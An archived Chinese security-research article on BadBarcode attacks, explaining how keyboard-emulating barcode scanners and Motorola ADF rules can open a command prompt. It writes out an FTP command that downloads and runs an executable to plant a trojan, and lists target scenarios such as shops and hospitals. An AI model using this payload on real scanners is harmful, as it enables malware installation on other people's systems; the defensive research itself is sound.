
        <html>
			<head>
			     <title>一维条形码攻击技术(Badbarcode) - 数据流</title>
				 <meta http-equiv="content-type" content="text/html; charset=UTF-8">
			</head>
			<body>
				<h1>原文地址:<a href="http://drops.wooyun.org/tips/12183">http://drops.wooyun.org/tips/12183</a></h1>
				
      <p>
        <p><strong>Author:<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="cc2a597c2a41622a794d8c287043296274296245294964296252256640296268">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script></strong></p>

<h1>0x00 前言</h1>

<hr />

<p>在日常生活中，条形码随处可见，特别在超市，便利店，物流业，但你们扫的条形码真的安全吗？之前TK教主 在PacSec介绍的条形码攻击和twitter上的demo视频太炫酷，所以就自己买了个扫码器自己研究了一下 ，在研究时候也找遍了国内外所有资料，但是都没有对可以执行的攻击技术完整的文章，故有此文分享。 : )</p>

<!--more-->

<h1>0x01 条形码介绍</h1>

<hr />

<p><img src="http://static.wooyun.org//drops/20160118/2016011810574221306169.png" alt="p1" /></p>

<p>条形码(barcode)是将宽度不等的多个黑条和空白，按照一定的编码规则排列，用以表达一组信息的图形标识符。常见的条形码是由反射率相差很大的黑条（简称条）和白条（简称空）排成的平行线图案。</p>

<p>常见的条形码类型有code39 code128 code93 EAN128 EAN13 QR等，前面大部分是一维条形码，而QR则是二维条形码，本文重点针对支持一维条形码的扫码器。其中code128是使用最广泛，支持字符最多的一种类型，一般都利用code128条形码进行攻击。</p>

<h1>0x02 扫码器介绍</h1>

<hr />

<p><img src="http://static.wooyun.org//drops/20160118/2016011810574463651230.png" alt="p2" /></p>

<p>扫码器，大家几乎每天都能看到，在超市付账，物流，医院，彩票等。作用就是把条形码的信息提取出来，而常规的扫码器的工作原理是利用红外线照射，然后反射得出条形码的信息，再用扫描器内置的芯片处理得出结果。国际上常用的扫描器品牌有Symbol，Honeywell，Datalogic等，其中symbol已被摩托罗拉收购。</p>

<p>大家在超市购物付账时候都注意到，商品通过扫描后，商品的编码直接显示在屏幕上，其实很多扫码器都是用keyboard的方式输入的，也就是说一个扫描器就相当于一个键盘，这是一个较大的风险。</p>

<p><img src="http://static.wooyun.org//drops/20160118/2016011810574669389323.png" alt="p3" /></p>

<h1>0x03 Code128条形码</h1>

<hr />

<p>既然知道扫描器是一个keyboard设备，只要控制条形码的数据就可以随意输入键盘数据了。但例如UPC条形码只支持数字，有些则只支持数字与字母，而Code128 是一种广泛使用的条形码类型，因为它支持ASCII 0-127字符，所以叫code128，条形码长度可调，最大支持232个字符。</p>

<p>Code128也分为三种：</p>

<ol>
<li>Code128A：标准数字和大写字母，控制符，特殊字符</li>
<li>Code128B：标准数字和大写字母，小写字母，特殊字符 </li>
<li>Code128C/EAN128：[00]-[99]的数字对集合，共100个，即只能表示偶数位长度的数字。 </li>
</ol>

<p>Code128由四部分组成:起始码，数据码，校验码(可有可无)，结束码</p>

<p><img src="http://static.wooyun.org//drops/20160118/2016011810574791379425.png" alt="p4" /></p>

<p>如上条形码，黑白相间，且线条粗细不一；由黑色线条(条，Bar)与空白(空，Space)组成，根据粗细程度，可以将以上条形码起始码解读为:211214；第一条黑色竖线是由两个单位的竖线合并组成，而第二条空白竖线即由一个单位的竖线，如此类推。一般前6条的Bar与Space为一个单元。211214 用1,0转成逻辑码就是11010010000，也即是起始码。</p>

<p>起始码对照：</p>

<ul>
<li>128A 11010000100</li>
<li>128B 11010010000</li>
<li>128C 11010011100</li>
</ul>

<p>结束码都是统一的<code>1100011101011</code></p>

<p>根据上面的解读出的逻辑码11010010000，就可以推断上面那个条形码是属于code128-B类型了。</p>

<p><img src="http://static.wooyun.org//drops/20160118/201601181127162653355.jpg" alt="p5" /></p>

<p><img src="http://static.wooyun.org//drops/20160118/201601181127178897166.jpg" alt="p6" /></p>

<p>最后再根据code128的编码表就可以分析出条形码的数据（编码表太长就不贴完了）</p>

<h1>0x04 控制字符与条形码生成</h1>

<hr />

<p>根据上面分析的code128规则，已经可以自己写出一个读取识别和生成条形码的程序了。而我们是要执行操作，最简单的就是利用控制字符。控制字符即非显示字符，例如回车，换行，制表符等。在ASCII中，0-31和127 就是控制字符。</p>

<p><img src="http://static.wooyun.org//drops/20160118/201601181127199964774.jpg" alt="p7" /></p>

<p>根据ASCII的控制字符表，可以看出Ctrl+?的组合键几乎都有了，例如Ctrl+O，也就是打开文件，但这个只是局部快捷组合键，在一些程序中才能应用，例如浏览器，word等等，利用这些控制字符在某些终端可以使程序跳出沙盒。如何生成可以使计算机执行Ctrl+O的条形码？因为已经上面已经介绍过code128的规则算法，自己写程序也可以。网络也有很多条形码生成的小程序，但在这里推荐一个强大的条形码编辑工具：BarTender</p>

<p><img src="http://static.wooyun.org//drops/20160118/201601181127205651784.jpg" alt="p8" /></p>

<p>下载安装后点击菜单栏“文件”-“新建”-“完成”，就会出现一个空白模板。</p>

<p><img src="http://static.wooyun.org//drops/20160118/201601181127223867395.jpg" alt="p9" /></p>

<p>然后点击条形码按钮就可以创建自己的条形码，选择code128类型。</p>

<p><img src="http://static.wooyun.org//drops/20160118/2016011811272422517101.jpg" alt="p10" /></p>

<p>利用BarTender轻松就可以生成出条形码，而且字符可以随时改动，方便调试。扫描上图就验证码后，会输入“FutureSec”，然后输入控制字符Ctrl+O</p>

<p><img src="http://static.wooyun.org//drops/20160118/20160118105801494091120.png" alt="p11" /></p>

<p>扫码器扫描后立即弹出对话框</p>

<p>市面上基本任何一款扫码器都能执行，因为code128是绝大部分扫码器都支持的。</p>

<h1>0x05 Advanced Data Formatting（高级数据格式）</h1>

<hr />

<p>Advanced Data Formatting（ADF），高级数据格式。是摩托罗拉针对扫描器开发的一种更高级的数据输入，根据自己的设定一步一步的规则可以自定义输入的数据，也可以说是一种支持编程的条形码技术。</p>

<p>例如，在一个结账系统中，当你对一个商品扫描后，由于该结账系统不能直接对该条形码直接处理，就需要这种技术。结账系统识别码：A12345，前面要A开头；条形码的数据类型：12345 纯数字，想要在这个结账系统中识别就要在输入前进行处理。</p>

<p>再举个例子：</p>

<p>条形码的数据：</p>

<p><code>8523647122</code></p>

<p>通过ADF输出的数据：</p>

<p><code>8523641&lt;Enter&gt;</code></p>

<p>如何实现ADF？</p>

<p><img src="http://static.wooyun.org//drops/20160118/20160118105803421481215.png" alt="p12" /></p>

<p>现在网上仍然没有ADF的中文资料，而在外国的网站也寥寥无几，无人问津，但靠tk的ppt中提到的ADF也是一头雾水，因为没有具体技术描述，只是一行字带过。后来找到一份摩托罗拉撰写300多页的ADF指南PDF。</p>

<p>ADF是一种编程，根据自己的需求构建规则，而用的就不是用代码进行编程而是条形码。ADF把所有规则都用条形码表示，例如Perfix/Suffix，Replace，字符输入等。</p>

<p><strong>利用ADF挟持扫描器数据</strong></p>

<p>对扫描器进行ADF设置时要先扫描开始模式，Begin New Rule</p>

<p><img src="http://static.wooyun.org//drops/20160118/2016011811272526563133.jpg" alt="p13" /></p>

<p>此后开始扫描的条形码都会被添加规则，前提是规则的逻辑是合法的。</p>

<p>随后依次扫描下列条形码</p>

<p><img src="http://static.wooyun.org//drops/20160118/2016011811272863503142.jpg" alt="p14" /></p>

<p><img src="http://static.wooyun.org//drops/20160118/2016011811272975074151.jpg" alt="p15" /></p>

<p><img src="http://static.wooyun.org//drops/20160118/2016011811273157675161.jpg" alt="p16" /></p>

<p><img src="http://static.wooyun.org//drops/20160118/2016011811273278391171.jpg" alt="p17" /></p>

<p>然后Save Rule</p>

<p><img src="http://static.wooyun.org//drops/20160118/2016011811273328901181.jpg" alt="p18" /></p>

<p>当Save Rule，扫描器的输出数据都会被挟持成“TEST”，当你设置了ADF时，就会把你的规则按流程一步一步执行。</p>

<p>如何恢复？</p>

<p><img src="http://static.wooyun.org//drops/20160118/2016011811273570260191.jpg" alt="p19" /></p>

<p>扫描清除所有规则条形码即可。</p>

<h1>0x06 利用ADF执行命令，种植木马</h1>

<hr />

<p>由于单凭控制字符无法执行命令，而ADF支持简单的编程和更多的键，利用ADF可以轻松执行系统命令。由于ADF支持很多键，例如最有用的WIN+R。</p>

<p><img src="http://static.wooyun.org//drops/20160118/2016011811273783714201.jpg" alt="p20" /></p>

<p>在ADF中称为GUI R，既然知道了可以WIN+R的键，利用上面的规则就可以弹出cmd执行了。但这样还是不行，因为输入的是由系统自动输入，速度是手打无法可比的，当你执行到GUI R，再执行"c","m","d"，<code>win+r</code>的对话框还没有出来就已经输入了cmd，所有要延时，而ADF就支持，相当于编程中的<code>sleep()</code>。</p>

<p><img src="http://static.wooyun.org//drops/20160118/2016011811273989493214.jpg" alt="p21" /></p>

<p>在录ADF规则时，扫描延时后要输入两个Numeric，例如依次0和1两个码，就代表延时0.1秒，0和5就代表0.5秒，默认是延时1秒。</p>

<p>知道这些ADF条形码后就可以构建弹出cmd，然后再利用控制字符执行命令，主要是Enter。但如果要按照以上这么搞的话，仅是弹出一个cmd窗口就要十多个条形码了，也就是说扫描器要扫十多次。可以先看看腾讯玄武实验室的demo视频：</p>

<p><a href="https://twitter.com/tombkeeper/status/663730674017300480">https://twitter.com/tombkeeper/status/663730674017300480</a></p>

<p>视频中用了一叠条形码，依次扫描，扫描了十多次就出来个cmd，可能这与扫描器型号也有关系。</p>

<p><img src="http://static.wooyun.org//drops/20160118/20160118105819416432210.png" alt="p22" /></p>

<p>这样的话不管是规则生成和利用都非常繁琐，其实是可以优化的，ADF的规则可以合并。利用motorola的扫描器软件123scan。</p>

<p><img src="http://static.wooyun.org//drops/20160118/2016011810582237958235.png" alt="p23" /></p>

<p>123scan是摩托罗拉官方出品非常强大的扫描器管理软件，在其官网可以下载。功能很多，在这里就介绍利用123scan设置ADF。</p>

<p>打开后点击"Create new configuration file"->"My scanner is NOT connected"->选择扫描器->"Mondify data"->"Program complex data modifications"->"Create a new rule"。</p>

<p><img src="http://static.wooyun.org//drops/20160118/2016011810582329512245.png" alt="p24" /></p>

<p>点击Add action就是添加规则。</p>

<p><img src="http://static.wooyun.org//drops/20160118/2016011810582532314254.png" alt="p25" /></p>

<p>ADF所有规则都在里面，包括Beep控制（控制扫描器蜂鸣），Replace等。</p>

<p><img src="http://static.wooyun.org//drops/20160118/2016011810582796715263.png" alt="p26" /></p>

<p>设置延时0.5秒，依次添加规则。</p>

<p><img src="http://static.wooyun.org//drops/20160118/2016011810582887512272.png" alt="p27" /></p>

<p>最后会自动合并条形码并输出。</p>

<p><img src="http://static.wooyun.org//drops/20160118/2016011810583019957281.png" alt="p28" /></p>

<p>以上就是执行任意命令的条形码payload，除去1和2的设置出厂设置和清除所有规则，只需要4个条形码就可以执行任意单条命令。其中Send ALL that remains是代表设置ADF后扫描条形码的原本数据。 以上四组条形码的ADF流程是:输入WIN+R键->延时0.5秒->输入c键->输入m键->输入d键->输入回车->延时0.5秒->执行条形码的内容，而随后的Send ALL that remains就是你要执行的命令，可以多行命令，要是单行命令基本上4条就够不需要加Send ALL that remains。</p>

<p><strong>利用ADF种植木马</strong></p>

<p>既然已经可以执行cmd命令，最简单的方法就是利用ftp下载执行任意程序。上面提到的Send ALL that remains可以用BarTender生成出FTP命令。</p>

<p><img src="http://static.wooyun.org//drops/20160118/2016011810583224826291.png" alt="p29" /></p>

<pre><code>#!bash
ftp test«CR»a«CR»a«CR»get w.exe«CR»bye«CR»w.exe«CR»get w.exe«CR»bye«CR»w.exe«CR»
</code></pre>

<p>下面给出我们的demo视频，是已经经过扫描四次ADF设置后。不管扫描什么条形码执行到Send ALL that remains。视频中是利用FTP命令执行。</p>

<p>（测试型号Symbol-LS4208-SR20001ZZR）</p>

<p><a href="http://v.youku.com/v_show/id_XMTQ0ODY0ODg1Ng==.html?from=y1.7-1.2">http://v.youku.com/v&#95;show/id&#95;XMTQ0ODY0ODg1Ng==.html?from=y1.7-1.2</a></p>

<p>密码:wooyun520</p>

<h1>0x07 攻击场景</h1>

<hr />

<p>简单总结一下可能存在攻击的场景地点:</p>

<p><strong>1.商店付款</strong></p>

<p><img src="http://static.wooyun.org//drops/20160118/2016011810583398553301.png" alt="p30" /></p>

<p>直接把条形码替换到商品；很多便利店支持微信，支付宝二维码支付，扫描器也支持多个类型条形码，可以直接把条形码存在手机中，让其扫描；有些大型百货有资助价格查询终端，只要用特殊的条形码到终端一扫就能跳出终端。</p>

<p><strong>2.医院病历，检验单</strong></p>

<p><img src="http://static.wooyun.org//drops/20160118/20160118105835382123110.png" alt="p31" /></p>

<p>现在医院的挂号，病历都会有个条形码，直接到医院自主终端或直接递给护士扫描；去医院都知道，有资助出检验单的终端，只要一扫就会单子，基本每个医院都有了。</p>

<p><img src="http://static.wooyun.org//drops/20160118/2016011810583793701324.png" alt="p32" /></p>

<p><strong>3.彩票</strong></p>

<p><img src="http://static.wooyun.org//drops/20160118/2016011810583990138332.png" alt="p32" /></p>

<p>彩票自身都会有条形码，兑换彩票就凭靠条形码到机器识别，所以伪造或对检验机进行攻击还是有可能，彩票终端类型这么多。</p>

<p><img src="http://static.wooyun.org//drops/20160118/2016011810584018837342.png" alt="p33" /></p>

<p><strong>4.快递单子</strong></p>

<p><img src="http://static.wooyun.org//drops/20160118/2016011810584236692352.png" alt="p34" /></p>

<p>快递都有条形码，一般是code128或者code39类型。在一些快递自助取件柜，和快递小哥扫描的时候或许会出现风险。</p>

<p><img src="http://static.wooyun.org//drops/20160118/2016011810584468542362.png" alt="p35" /></p>

<p>。。。。。。</p>

<p>场景很多就不一一列举了，以上场景有空我会逐一分析。</p>

<h1>0x08 防范方法</h1>

<hr />

<ol>
<li>扫码器默认不要开启ADF功能</li>
<li>扫描器尽量不要使用键盘模拟</li>
<li>设置热键黑名单</li>
</ol>

<h1>0x09 总结</h1>

<hr />

<p>一维条形码攻击的概念在国外很多年前就有提出了，但是没人深入研究。利用条形码也可能出现SQL注射，XSS，溢出等攻击。</p>

<p>无论什么设备，只要能控制一部分输入，就存在风险！</p>

<h1>0x0A 参考文献</h1>

<hr />

<ul>
<li><a href="http://www.appsbarcode.com/code%20128.php">http://www.appsbarcode.com/code%20128.php</a> Code 128 條碼．編碼規則</li>
<li><a href="http://www.slideshare.net/mobile/PacSecJP/hyperchem-ma-badbarcode-en1109nocommentfinal">http://www.slideshare.net/mobile/PacSecJP/hyperchem-ma-badbarcode-en1109nocommentfinal</a> PacSecJP-badbarcode-tk</li>
</ul>      </p>
    
			</body>
		</html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          